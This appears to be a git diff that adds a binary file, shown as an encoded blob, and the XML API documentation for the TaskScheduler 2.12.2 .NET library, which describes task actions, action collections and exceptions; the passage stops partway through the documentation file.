zx4RUu3N$c`>jeZ{2M_Y;bn#{taJTFJ$L^W)B1@3nv?)!y^Mz`~#`e5kc}~g^NE=}M zJHnVcuooY8{C$Mn!nf!3gzCN!3K<&(*(XkH0c8{;7~$i{JP{CAPu9z)vAYjEWyoj? ztZE*37BG1aVB!YdzUWG(4cpr?Sn8fwE$~<)(;6X|vjIif9Woe`8vzFg=#uP36;x{- zJWc$tUsc2kdYsuY>!w+tQz#|TlX@}oC1CfKN~+cQHu=ZgJ2ucNn7ym2c~HHQ5^?^) z(al*rN1$0?u0V@Gt3caacCz@sa!B9Q%I1;1YzHUyp1Bw^w3n2HN%sV>bIg&chLe2- z6(A^Mn+?uy?1|YA6P6)Jdt+tqz=g-;=>QoM6}C;z;dO-7iL0+nra0XyXpm$hUCLIL z-GH2Ixv`lQveAT;Qja#wVpOCUm4=m!9c0f^9WZzHbhfJ`T|3&W<1Mb3aLu8NoMW+5 zjD65v{-)L81igFg;Dg+tjnbY2lclgQ}3w?Qql})}QW_0ihG5E=9@Fs1YO6Gy+FkU~F!pj0MWN zfQ6gFO}bH2^nkIVvkl=j^$^91s0Xjg+m{hFmy`d_9^+wX95@+>Pf4iEwB|Ct%*b}Y znAl3p#KdA5lsh4oUtNr`maa8kQr|-N$RE!QFkRai9Aqso^b|vVjk#F2M5gOD?2&NF zkqiNK+g9>n*cveHKfYcEQgTqGhp3=7dp2&|>~KsaO%MmCTMf6e?18CV1n5CkN$`mKiQI&zl2UCJ*^{eAE5;%?% z8Cm{_hIQ-hY@Tp|L&hFQI>yftlUy^0?xNDR&|sr;bi7+pO zr*3d$#v75aadVK?!)cTSmsms6^wSQV3UXXFY%eucg%yyI(aqdYWqX<2yucy*&F=hR z@iv&tI7faIijH^1BCkPXegnV3kH|pavKFs~7PU8ZyqP+JYbPawa(|TFZGn>ObJapy zr>Uah&{!~8ml?a8V4XBheTwa% zt$5P z8P5K12a^{2w^j|D7nbQc>Rz-9v%7}zQOF_G<_SWjWbDNn}sCJ~%aMOn{Gh2`2z zE01ek0cA9f3eXTmbf`$lv9OdQATa>?nwpZE$!67 zH+*eVxp<3-uLmv32X!;?W^*&~W|RH{1D_{~V+N%FnT^oL$d~bm^zZG$FGms}rh|D< z0ivwmz{FsqUxmrtJ^n(SPlAe=^e;8~Rz7BR)QSDJ;<&tC+h`W0di34WE!JZ02b_dl6&6~nC-k%h7u#u>9agK3U*b?4h zxLGlu!%xa!wxB~WwmX)&US~FL31@*s&5XnZ#q`y{!`TcX8maE{kXi++l_=~uONv)tFj2bzORyT9=ixB9PwkE(%U*I8n0CU2NoV`0VgBzNj z=u$e~;mp!ZCTJ74a7sd7s~+`|JL@<|)F|Ta$#u4->Tts3qUxDJr)#|fniTw?OlO{u zir7+fwz^C4VFDll;tVZ*{%^+j2e+l%N#b`(#VCoSlO zuwc$!naapZeH}yeGqd$cPoa~r zsdPwj)3rZ@3xZk`(o;ZR9Xg#iQpwGxsP!d_7!as%xPu zb#yLm^P7!=sIh$i9y0v1$Hnibh7H}w72Sn ztT{2*V6HKpVpv3oGB<9WYv$$}n{tiR1d~IJz1=c;IxBg)1gqmV*R!1!kMVTYMeBKU z=87QhQAW&hc4{vt9av|l}?G14iBrMoR}vc`i@;zB-H8lR7-JK##? z5c!CDA{BkaEE6V%*u>%3)VXxN_N2Haq0N@^#1t6r4bmZj#eb7l7V;-r$R5*30Vkn@ z8(NrmaX2z_?D&m}A>B&Jq?^aDY(kTriN|jcmS$%%9^9ab+eC=xr`X|$+sPGbNG|4P z19OR)l(j`6HcXR(vt|)f3@gr>`7;|%5_x=1iKiK;-cFnu5O#Gjxx_{-QToI)hF->! zU8iqYuzA>*?=qh#Pf1v%1rjdnTPWYT9XDG(b^Mx{pUm zsAVfds?~6OpS?WTIzv9KY|ByV2N)<#p4L_o?riO}-cv^1PyV6CF%KfRNj(sgr@nFt z!axrNBJs()Oq}*i@b;kaF@TzhchXAq87sTTT1;J^WF(rv6AW4tc!p6W@?PyPoZ@TDjn-VH!$($ zMxMQz!zZ6%cg)(!1_-;f^+*7eo~e@{Fs$)3`2p%p4?i6;a_i#1smj<#=*rk*v~rR^ z^=X)RHMraH&RWh!x*h$9y6HN=Qyy~V!c3z{zy#zqOh~31Mv@!Sf(y&9ftfCEv%I|Y zfa#7dV`9X1=S+s_p&NuiD(!cx9UX;S-P!}#Du(08O^H|H}ROgd2GH0 zaTYh;$@Lmwh&DUVnagCYxwWZ_MI!y%%*=L@HUuvOvkB)UZZLr&cqTr(!Yi3^lI`Z{ z9|+cOZq&^pIulP7n2m+*X$908QKrUnBG)#^mcr6N%wUmiMG7n=+mIPW;gVUBYSI;< z@i3E;W#?UvOP_#8ph;kkK(oMHffj*Qfwnozou&MB@Fz?Z>2g^d0mDSK%_V@*5s0-> zaKOOzAYgg|AJdbfw;DLsvYZAhb=V7x@S>Eq3fz1XkFt8J-y`tb_CdSlZ{7HD~V!x*-7Gomu ztU-EEkbRqCeqiA9hW!@|DqAO2iLH~lbcpHt?uZ=hj(|KSBO1$9RddKx56o+zo7%BI zs;A5~`BqTbc_#E;LF@pc`5P1S_?$M(-I9^nI+(bOfv1TVR?+riq&cy9ZX0}TGjLGQ z)KTk9D6+y5e|ssd#e{|ptQmNXno?*|cp_|@k4fGTdxVs3re>u)WvDUb5jDBNz%@!> zMl%<`=@Cq9O5bbXHUpOkGL;E8V{tcI&P-jIeUxL+q}OaAPpS0D4+xH*jwm|#GyMW} z1Fr`%EwGJpk%X*fP&7jwO5>(gCht{vLY;uoV#1|XE6=tzk9(kfvi#5bnvTDunjgNP zQqJz}FAUc>jqV$)R`!f|z~iW!AFd)N^npm@k{CJSkg$! z6i0?j`F$6F*{wX@Mv52Q<2+91+G1_p=uU6CGBh+==GdHfj(VKq)0N?U)#C2Kn)kCG z@&^6>pfBhT@^YxLpL(3JA8oEyt}G4|M!b3NNU^-TRPg3UMhZhaOZ&WgV1Bqz_3o-v zy|uxDH_+?%=F0=#AlEDH>H3Jbvdi0-AGyN2rGKz6Fj_L`qaYQ_-h8R#-B|3eRz@nj zYTgQ@@->R^j+n#!5$|wiq~^V(SROzm-bB3DyS@ewL&K%wt|APn$o|RzIaYY{yLVR$ zyYn?SdWfU^;xN26*brZoCrVIam zks>Oca zda**2>?{?Igob;Bp}IL=tk&_i;BHagy={d{-QJ#e9;9n7QKY4MMR@ZU&QZxDvpz%S zTgv(2k-*`~ZD!yT^G$-(YdXJ5;C*RtCI#iVTaL1#h)5RJpQX2FgHTSD{)c z_d~5>2->RWDy4x!b@_;q_6jr1>JBkyxzwPK2ilsW3&zqqXLY@O3N~Uy;tkRHhCR*| zzb%(Ece1~~Ffx*^lxx*W$tVXR>r7?}BmLFlFw);LFi^@>szWZM$0wW?pht=yZ+B;vbP2T|-0nYT z^=eE;z)W*rxi2oU^d(Y!c{o;Qo6X3qx6i;E+*JQN$m zyfX@ki-tPxAv6LF8k81$x$NGHf}*g-!wZ0CPSU~N;B*S{-o1yX5ikUBe_eG5fzWgU z0UYcOC#OJE3~cf^fAG8Jx66c`qs7vIHxToOMDGl{erjTgwJ@n!f1|q~AfkPJd5{UN zRv6GId2qW%2Z0CVtgXN^_*wF9QD)S3O}4WsXl-T}aRk-~Rk#Wq9`_~rG>h&6GgiUX z^)R?QJ=D;h4E*SPFFvQYuC-ga1aNExT5hhbFpCXXSP(N(n@tH(%cCgvGk z9lyspN7LXN%^Z;LuO-XnO3kdhmY;dSq7CIe%&qg#YU^12vGSxlbhK+7G%}p;FGRFbW1*%c*-(C@ zcc{J+HEXs#cG zG?rP~D*hho(9Mo6du5?qyQqMt_yDtnGoQtjT@E{(l}QJk<#A4nhZ31sEE@Dh0>OYU z?Dr>piC`$~3+Mb9T*MPx!xl4}%%)?>c+MA$CH=l|CX@EXqp^rD5RL_-Nq-<2iYFb1 z$4`2vHrr<1Twm_bni@y!f{l5O$5XcYj@}#l?7~(3Q3}*?2Iw7WHYDYNeAP`n=Ix}7 z&Ah24?J=kC;pv^GK}YB&L2z#+`7kN8LVP(m+B%G55(AQsI;EFF$y za{*s8g)J?d3?zMtv_I<$WK+3RG7$0mlP=9fE|$qA<6$4oLEVF4B=1i}sbDsdi-x1Q zK+5eQnM6Dj31lO_bRq?xiD=SCPYCz|@kHDoj0Vysdz|I=wek~pXJw%7E$%$JerKg zqJePA7mWwu2i|;1+SnJRZrOM)KqcKV7K?;4$yk7<3&oLj7@eNTAdN^O4okUYC>nNq zdBh*dCbH4EFPV!ceBo${P{^P2@ib91n2d)q@M}xYMN-IvAsY$Nbm3eq=1avH#yN(0 zC=$(OvMINY@pLYk_A>z`{c)z1bb!*6jNoK4mJU*mKa;EX-9#WxPlz(@FnGhkP>%7S z4jPIo z>Kq6>70tz?@k}sC-PL=v;5@h5i!)dxwCW&190mfGpl^OJ-qH?H{ zTpUZZwwFiN^cM$RW5!Gat+86zlAsg|MH4yt0mCSq&e6*<4EI4{OG+j2pKyWLOremY1e9>%{ChPY{d<=6GXeO44B@=P_ zLBeGsnMq{)8MIqEmZPhuQZyNunE+Zfo=GPoLB61%(vwm8el8i80+kZUq1-+)ji*qv67fDX_~Pu9R6eZ>$UyO1;?L*mKKlwrS_(7(E*c zuNCe=$1!;R(%1^-oAoTKa-Mp%yR43d4fBaKPg8M#!?yXv<@*PRU~okCgK3+14~yYu z?T_BzR)xx&Go@qrsHo%cy!iZe82k%WV~ae>7E+8iPF47njmO#TGIv3t*1Hj7g8}U2 zDti3&7z(xJ0?hDv9`i?}{5WQ6rD=y~OsmXOl>v?od3gOOw(`xDJ%#F)!9uBI_x_tp z`5FgrLz~PoXWPa0c#v7=@+rHtZ0TF*H^=k=**3p_RlvW>&%#uvdzn$YHT|zBI6$eU z;Qxv`x_~F_q6M=MY}GMJU&s7xsUWqWA!m$jGnGT%=4L6uqhQgJF(wq%jS!Rz; z%~4dLpvoRoy}B5+iCIJc`-~npvj*#uH@ceKoi2}Qp>vFn3u~rsb3(SImao<}l{1`$ zXs-XgPg#LreRf1;)=#E?FDn2Kn}szV=eM``x3Aw_#xvxC!XC$Yi^r+Djgcwli65yI z`$uH3l_x-bA!hcQzmL_JmM*EnVE#%LeD+XneR-hRZycWX4B|L~UzPQTa+l#=97+mh zEx_eta<<1geJXZSSsXWe6v$ox2PLId?2F=W^w;bwhF--Zpb)A6%80gyjiQuL`eh zpZ_0$D#ayw^GK>#89IKHIGx7xf~k=Z)bs; z;`_!@yudk!cPAOBCa1MkmSGZ4rZR+Z8f!QdgLf#u&&vU>#FejmM$q2gU88z;4rP~c zrC=ZFI3+eMzg3}Hf&H$99o<4St&g1Js?)}%)NwdRTE$y? z(VXo#=W>dZG(FXf{uNL!_78gd^JVWSevrkhC=a_sf4({}vcin+=_QMQyR38^-sH9- zYX&`TR_5qVT{>@RyDq945$MI;#d3iLbbj6KIFCO3+^4kHeFuLfSH;&&9wWW=&_!nN zeoQCe*Bn}ybn|M`|3KfUnQ zFaPBGx6b#x`u5*^@$ox<(evb=EcEeNqAN;d#ocD#r-r%F3c_8#?=LaK?-tnamK5^HF-tqNS?|Am>SH11D@3z0D z|A&`d{Ot4RpYZU{Puz3iFW&OZ-j@G%Sz_VO-~OJCclA8odE4meOWyqR_Z|O*yS{Z| z{7q+`l;Cd_fBn1Gp0w?nPn;Ax|Eo)TuKnfGg_l0^>b@;Me9d2O-`ackFW$Mbcu78d z;;%ow`mK8xpSR`g_a(pmct`5PAIPL1_>-^ap1bY~YyaxYkN?5Rm%aM@zW0Cs{IT-l zOM0rm*jD=7H!gek{LA0;cWu7G1t(rJxb(pP9Q@enPYk{DjQqZTpZw>mfB5th`|sW| z@|J^h9Oq8{-rUT~KJiFd&)+-vlMl{mywma9gfE|q&ll-m;QkZHw~sV^jgGgKIJa|u zF7ba&+&A!>D}yhGmir0MC*NA|&fsq?;am6{0rz(DJwW(MI?*z<7r*}iKSTHj;C`2~ zKF;6G{9OvZkMw`!@9W^74;~LZI{yfbKj-=((jVr!PWXfe$lnUy$Kd15&`Xl`BKKRt zXBF=}Mcj4J_&M>P0~e2F=RW?H5ce!)+(CFbynUa)uPh{-24mz>i;J^S#e`pEPi z-rZ?GkDYgR6XI;h@g9z|=_J;Iw8Vb#-hSsjLt*+r^+hBcKUMbhJeS!dF=v_7TS4t- zuy>IZ%~E@Py}RmcM?(7S_in>bmAWWX3iMqjy#N8dO;ayUEsB%6Y^E3Yc@j=uXTAWf zH+kw~;ssves$BXUyUKYKl#@0(3Y4^?RfR4J~-DKL^DPbdAIP*MphDJ(bTV` zXA7KD>&RAAl6A(^wEn&O0j)HhlMh9^5V{5PH{j@%ol6fzxd;Tk6?dP*Zqo4{4q+5Y zl_^l4Zr3Y24}-Lo#4Gqy&CBwZR#DU2JxTOFXDfBq$hZK6o|yY<4z`69$+-d5d zhSghI1I`s7@TS`7fQUCe*$q(&? z5vtS=qF&v6NP&kU2Ax;EGQ^N`Hi)y@a6N2m>;#-uB+g>H{u<;m$rqALcb(n_Qv=er zBK~@_8J>w^RaU^c2}Fj|bXw}uyQ#Rk%=C5*IC`xs!)Z41Fd5YN^$zeapshGM+EjZk zWZsC+%pfH+V&pGPBQ0F!u3`ja@AS55DVb$tKJS%hwqw8F5Ui6}1&Qd9NJu0@rpFds zUg}w2PuA71H0$BY-UET)kqFF`g!(~0%Ho|zV|ivaX_%6m_1>eESl2T%N&F+(X7$)U z8hr@S1k5U9R+p^L?RC}kYx2+PJav@m3W`r>%vLaUv?(=p!pkE~jqj5|dKsSTL+zZG zr!zI+!XV8W{B@3Ij;Ysyc=pVuJUpTud|F}k9v=PWhTw%{S#|g7N7N;;DyPZySY9yIc%H*NG*%+a%Fkuhx&haqD(&ry0h z6M0HI5AS zwqu1iE0pyadw<*|*77$rY^;v7NRbmAPbW1fRd!=gt8;aBqfW$88MTy23+`WGg@X(w ziGlr|-s!le_XJn%LO}Q;cSG^I` zA8ltN&dPcoQD#IPrf<&8FwpmT=EH`@z1rQ=%8hB_b~4%~_Ox!)AOo`zSVp3;8kvTG zgO#=!u)TBRSp*SP3aK!<(Hw1?%65QzS}rLRu7H%k!K&Llw!7GyJ>VSD3nE9#admLN zSGll;nc7Zuwz-C+XYQ`zE))fq>PXGgvWq^?Z8Hz>aW{f#tjvh74Hl~dPIL}uY8wUh z!}-fu&YvED(x1oCS1j!B1(ucitN-+Ek(dAdKA~;5_%-b7XN# zdG5L2#9~6`e`n`6-}SCffBMtk{`R*m!d-XW^{Q9B3YI7Z2(=$>+-Na>843}2HWImb z?b`Rf?|pFc(T{$VyadSpy4Ssqy4-ZrO)srk1KN*AN1+UT!vFe~xBTp9KO>bQ?!5EP zJMOr{R)OkM#MiF6>Pw^g1_r;M_xGzTulH+r-L+%K4zfU;cS~*x`BH@!Ca`^uB*Q*G}`OY18*cdn`Fdd&T~;&1Wd#pJd8Lubj7CA8pex7~(Q zJRPR-L*_T!a6@-@_gQD1Wsw_MuD|~J&6_vB_r33Rg=;R{68Yf|e|S2w4L|?<^Y`C> z|D%sSIz8!&U;HAG(_;uD0e;E9@m}$RAN}#X{}?{`UDtp9``w>^X-T{Hxs6|Y{`*fX zd35iuKKk#U{+nk${he+9cE)4>kZ8H?7r$zM)8bF9Yk79wmOre8Px0KcvuDfJ%QsAp zow@awqi-|?ezV-QH*Eha1`7f7$_@T$&-LkuoiNEY_oYUi{qTh z-}^~>|Fkrrs4=JiF4~gWa{aHq``WHsE?oELfg5jnvHb2QMI*gxn~sJ?wwc!%Y|B*o zc|8Efd)w?=C3x1NGP2E_vef-7?VUZB+s0yS+eP+tXj{2Z3&*z|`5=FIV5hTXT{0Mn zIxaVN^}F0qKMsqrkvgoe z9Y-I!(RXh2nHzoO=Kt;=PjA5>I)7{?pXQM#%teRB3vV5Nm+}Jd+ol?UuQLWYTU# zRvUelN=8}zPBXc*Pt(q8g!C!vm_cyvY5paIJ@8aB<`nJE4yE)pgX5>(_Fvf9DH%A= zd!8k)%pgN%|1ERX2=Ow2R_Fox+Lg>FUdr`ywZ=zrsTi46WX{-Wc5+^Ni})PopNxxM z*R^(Tv_=^N~(|S>-I}pDpjB2(!G}*nrb@0{T^bxPQr=9tCzM> zsyH12yTo-De^x@;52}{h>kMEw9LpA_(r021nHtI9W$oQwV^y3f4SSeT zuV0-fYqgwC zJg21dpKGtEX|I{IXSdqn+H94{m!t>H)FiJYFXEf|^Ug*0a^msYnbH6M?*9!5{BJlE Btw8_) literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + +

Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to 